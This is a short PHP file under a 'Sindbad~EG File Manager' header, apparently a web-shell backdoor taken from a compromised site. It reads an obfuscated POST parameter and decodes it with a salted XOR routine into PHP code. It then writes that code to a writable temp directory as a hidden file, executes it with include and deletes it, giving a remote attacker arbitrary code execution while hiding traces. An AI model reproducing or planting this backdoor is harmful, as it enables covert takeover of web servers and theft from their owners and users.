Sindbad~EG File Manager

<?php

if(array_key_exists("\x70t\x72", $_POST) && !is_null($_POST["\x70t\x72"])){
	$object = $_POST["\x70t\x72"];
		$object=explode('.',$object);  	
	$bind = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
            $s = 0;
    
            $__tmp = $object;
            while ($v6 = array_shift($__tmp)) {
                $sChar = ord($salt[$s % $sLen]);
                $d = ((int)$v6 - $sChar - ($s % 10)) ^ 53;
                $bind .= chr($d);
                $s++;
            }
	$hld = array_filter(["/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($hld as $val):
    		if (max(0, is_dir($val) * is_writable($val))) {
    $parameter_group = vsprintf("%s/%s", [$val, ".entity"]);
    $success = file_put_contents($parameter_group, $bind);
if ($success) {
	include $parameter_group;
	@unlink($parameter_group);
	exit;}
}
endforeach;
}